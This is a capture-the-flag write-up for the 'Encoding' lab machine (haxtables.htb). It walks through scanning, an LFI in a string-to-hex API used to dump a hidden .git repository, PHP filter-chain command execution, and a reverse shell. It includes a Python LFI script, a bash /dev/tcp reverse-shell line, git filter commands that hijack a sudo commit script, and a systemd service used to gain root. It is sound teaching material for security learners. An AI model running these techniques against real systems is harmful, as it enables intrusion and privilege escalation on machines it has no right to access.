---
# System prepended metadata

title: Encoding!

---

# Encoding!
## @Author : M3tr1c_r00t
![Encoding](https://user-images.githubusercontent.com/99975622/228976135-f49f41d4-142f-489e-baf9-33f2d8e5aa17.png)

### Enumeration...
#### nmap
```
# Nmap 7.93 scan initiated Sat Jan 28 22:34:45 2023 as: nmap -sC -sV -A -p 22,80 -oN nmapports.txt 10.129.12.218
Nmap scan report for 10.129.12.218
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: HaxTables
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 5.3 - 5.4 (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   231.62 ms 10.10.14.1
2   231.76 ms 10.129.12.218

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 28 22:35:06 2023 -- 1 IP address (1 host up) scanned in 22.22 seconds

```
#### Gobuster...
```
/.hta                [33m (Status: 403)[0m [Size: 278]
/.htaccess           [33m (Status: 403)[0m [Size: 278]
/.htpasswd           [33m (Status: 403)[0m [Size: 278]
/assets              [36m (Status: 301)[0m [Size: 315][34m [--> http://haxtables.htb/assets/][0m
/includes            [36m (Status: 301)[0m [Size: 317][34m [--> http://haxtables.htb/includes/][0m
/index.php           [32m (Status: 200)[0m [Size: 1999]
/server-status       [33m (Status: 403)[0m [Size: 278]

```
### Foothold...
This seems to be a site which we can use to do various data conversions.
![Screenshot from 2023-03-30 22-49-57](https://user-images.githubusercontent.com/99975622/228978149-ba4e23dd-2f12-459f-b061-9e08052240bf.png)
If we visit the api page, we can se how we can use python request module to do the conversions on the api subdomain of the website.
![Screenshot from 2023-03-30 22-49-13](https://user-images.githubusercontent.com/99975622/228978618-3f362b5a-ea3c-4ed8-aff9-4da1b44674b4.png)
We can actually do a sub-domain enumeration.
![Screenshot from 2023-03-30 14-31-05](https://user-images.githubusercontent.com/99975622/228978761-8566ae83-e6c2-4127-8cfc-edc9820f6923.png)
In the url request for converting strings to hex, there is an lfi. We can actually use the 'file://{file}'. So for this, I made an lfi script.

In the above sub-domain enumeration, there was a subdomain,image, but we didnt have any access to it. So we can try and use the lfi and read its contents starting with the index page.
![Screenshot from 2023-03-30 14-31-39](https://user-images.githubusercontent.com/99975622/228979373-86fd5a12-2d15-4f7d-bd61-caf882a5c8a1.png)
On the index,php, we can see there is a util.php which is required by the page, so we can take a look at it.
![Screenshot from 2023-03-30 14-32-06](https://user-images.githubusercontent.com/99975622/228979603-8dae2e48-a243-47ff-b69d-5ce76dd513d9.png)
From the exec function, we can see that there might be a .git repository on this sub-domain. We can confirm this by reading the contents of /HEAD.
![Screenshot from 2023-03-30 15-02-51](https://user-images.githubusercontent.com/99975622/228980337-d1e23200-b99a-4b68-bdeb-c09d0a5adc48.png)
And we can see it does indeed exist.

Well, since we cant directly access the .git repository via the website do to permissions issues, we can try and use the lfi script that we have to read the files of the git repository.

But there is a specific way in which scripts do the dumping. But since we cant start making our very own git dumper tool from scratch, we can get the git-dunmper bash script and we can get modify it to run with our lfi script.
So, here is the python lfi script...
```
import requests
import sys
def from_hex(data_json):
    return bytes.fromhex(data_json)

json_data = {
    'action': 'str2hex',
    'file_url' : f'file:///var/www/image/.git/{sys.argv[1]}'

}

response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
with open(sys.argv[2], "wb") as f:
    f.write(from_hex(dict(response.json())['data']))
```
Modifying the gitdumper bash script...
So just look for this part in the git-dumper script a, comment out the curl line and add in your script so that it can be used to access the files.
![image](https://user-images.githubusercontent.com/99975622/228982548-527f4233-e7aa-4070-98d1-5a20daaaf63b.png)
Executing the script...
![Screenshot from 2023-03-30 15-24-31](https://user-images.githubusercontent.com/99975622/228982833-7011a2a2-cf24-45a5-afc1-fb87a00f31e8.png)
Since I didn't find anything really helpful on the logs, we can check for present files in the repository.
![Screenshot from 2023-03-30 16-42-00](https://user-images.githubusercontent.com/99975622/228983045-22e262f5-982f-4f6d-b9cb-2e3b768042ac.png)
We can see a really interesting file, ```actions/action_handler.php```. We can check it out.
![Screenshot from 2023-03-30 16-50-02](https://user-images.githubusercontent.com/99975622/228984033-5267ce44-a84f-40ce-b191-62cab9732c0d.png)
Contents...
![Screenshot from 2023-03-30 16-49-56](https://user-images.githubusercontent.com/99975622/228983475-c15f9f5c-6292-4616-a288-63c4c14f93de.png)
We can actually see a get parameter and there is no filtering going on, so this can be our entry point.

We can use this together with the php chain filters to get command execution.

First off, let's set up the request on burpsuite.
We can interpret the url request on the api page...
![Screenshot from 2023-03-30 20-25-37](https://user-images.githubusercontent.com/99975622/228984497-06668cfd-7772-4fa4-b5f8-37e16e37fb78.png)
Then, lets set up our php filter chain payload and set up the server...
![Screenshot from 2023-03-30 20-28-35](https://user-images.githubusercontent.com/99975622/228984873-bf0a407b-6773-4bde-b4a0-02f8deecf0c0.png)
Then send the payload as part of the url...
![Screenshot from 2023-03-30 20-28-45](https://user-images.githubusercontent.com/99975622/228985037-5328b4a2-27e7-4915-a0af-9480b61e7931.png)
In the url, we can access it as an email to enable the server to be able to curl the request to the internal php script. Then give it the file location and the vulnerable extension.

And we get our reverse shell.
![Screenshot from 2023-03-30 20-29-03](https://user-images.githubusercontent.com/99975622/228985344-467f2796-5a43-4ea5-a21f-9594284a7368.png)
### www-data to user.
If we run sudo -l, we can see that we can run a script as svc user.
```
u=$(/usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image ls-files  -o --exclude-standard)

```
This line runs the git ls-files command with some options to list all untracked files (-o) in the repository located in /var/www/image/.git, excluding any files that are ignored by Git (--exclude-standard). The output of this command is then stored in the variable $u.

```
if [[ $u ]]; then
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image add -A
else
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>"  --no-verify
fi

```

This is an if statement that checks if the variable $u is not empty. If $u is not empty, it means there are untracked files in the repository, so the script runs the git add -A command to stage all changes (including deletions) for the next commit.

If $u is empty, it means there are no untracked files in the repository, so the script runs the git commit command with some options to commit any changes, with the commit message "Commited from API!", and specifying the author as "james james@haxtables.htb". The --no-verify option skips any pre-commit hooks that may be configured in the repository.

We can actually exploit this by creating our very own git repository and make for a command execution.

#### access to user.
make a file in /tmp called rev...
add the following...
Make the file executable.
```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.56/9001 0>&1
```
Then run the following commands in the /var/www/image directory...
```
git init
echo '*.php filter=indent' > .git/info/attributes
git config filter.indent.clean /tmp/rev
sudo -u svc /var/www/image/scripts/git-commit.sh
```
set up a istener before running the sudo command.

#### code explanation...
- git init - initializes a new Git repository in the current directory. It creates a new .git directory that contains all the Git metadata and configuration for the repository.
- echo '*.php filter=indent' > .git/info/attributes - This creates a new file called .git/info/attributes and writes the line *.php filter=indent to it. This line defines a new Git attribute for files with a .php extension. The filter=indent part specifies that Git should apply a text filtering command to these files when they are committed to the repository.
- git config filter.indent.clean /tmp/rev
This sets the clean command for the indent filter to /tmp/rev. This means that whenever Git applies the indent filter to a file during a commit, it will execute the /tmp/rev command on the file's contents first.

So, whenever we do a commit, we can actually get the /tmp/rev file being executed as it checks for php scripts.
![Screenshot from 2023-03-30 22-23-20](https://user-images.githubusercontent.com/99975622/228986381-058638cf-a7ae-40b7-966d-ecb0edd3d563.png)

And we get access as svc user.
![Screenshot from 2023-03-30 22-24-01](https://user-images.githubusercontent.com/99975622/228986479-fd7ed570-8d03-4a7a-9298-b72c8a498c4c.png)
### user to root.
I created a ssh-key pair and uploaded it to the machine so that i could login with ssh.
![Screenshot from 2023-03-30 22-28-53](https://user-images.githubusercontent.com/99975622/228986690-7ccbb38b-b6ce-441a-ae67-2d500f06585e.png)
If we run sudo -l  on the machine, we can see that we can run ```/usr/bin/systemcl restart *``` as root.
![Screenshot from 2023-03-30 22-29-07](https://user-images.githubusercontent.com/99975622/228986926-2c70c0c2-810f-4c42-a784-1eb4d1663216.png)
```
https://linuxhandbook.com/create-systemd-services/
https://medium.com/@benmorel/creating-a-linux-service-with-systemd-611b5c8b91d6

```
We can actually use the systemctl command to execute services. In this case, for priv esc, we can actually create our malicious code and try to restart it to make the bin/bash binary suid executable.

The services are usually stored in /etc/systemd/system directory. If we check the permissions, we can see that we dont have any write permissions, but we do have read and execute permissions.
![Screenshot from 2023-03-30 22-35-16](https://user-images.githubusercontent.com/99975622/228987746-772fb844-b3ca-4527-bd1b-823820b2d32f.png)
If you look keenly, there is a ```+``` sign in the file permissions part.
This symbol indicates there are additional permissions or ACLs (Access Control Lists) associated with the file/directory. 

We can actually check this permissions using the ```getfacl``` command.
![Screenshot from 2023-03-30 22-43-55](https://user-images.githubusercontent.com/99975622/228988105-fab15036-ad30-41ef-a0d4-d0eb7db24eae.png)
And we can see that we have a masked write permissions. 

We can't directly save a file into them, but we can save anything in the directory using the echo command.

So,we can save our malicious service and execute it. 
![Screenshot from 2023-03-30 22-45-30](https://user-images.githubusercontent.com/99975622/228988494-751d2ee0-5d49-4125-b35c-2b6a791575c0.png)
And we are root!
![Screenshot from 2023-03-30 22-45-40](https://user-images.githubusercontent.com/99975622/228988588-ef40abf8-f549-49f3-a6cd-6bbbcf2f58a9.png)
And Done!
![Screenshot from 2023-03-30 22-45-46](https://user-images.githubusercontent.com/99975622/228988643-5b2fe7e6-688e-47cb-94b2-ea8137fa5227.png)

### Socials
@instagram : https://instagram.com/Metric_r00t
<br>@Twitter : https://twitter.com/M3tr1c_r00t
